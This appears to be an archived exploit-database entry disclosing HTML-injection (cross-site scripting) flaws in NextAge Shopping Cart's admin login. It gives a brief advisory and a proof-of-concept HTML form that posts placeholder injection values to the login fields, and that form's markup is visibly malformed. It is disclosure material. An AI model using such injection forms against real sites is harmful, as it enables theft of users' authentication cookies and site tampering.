NextAge Shopping Cart - Multiple HTML Injection Vulnerabilities

Author: R@1D3N
type: webapps
platform: php
port: 
date_added: 2006-04-25 
date_updated: 2013-08-21 
verified: 1 
codes: CVE-2006-2051;OSVDB-25265 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/17685/info

NextAge Shopping Cart is prone to multiple HTML-injection vulnerabilities; the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

<form method="pst" action="http://www.example.com/[admin_Path]/index.php">
<input type="text" name="txtuserid" class="INPUT" size="30" value="xss injection code">
<br>
<input type="password" name="txtpass" class="INPUT" size="30" value="xss injection code">
<br>
<input <input type="submit" value="submit" class="button">
</form>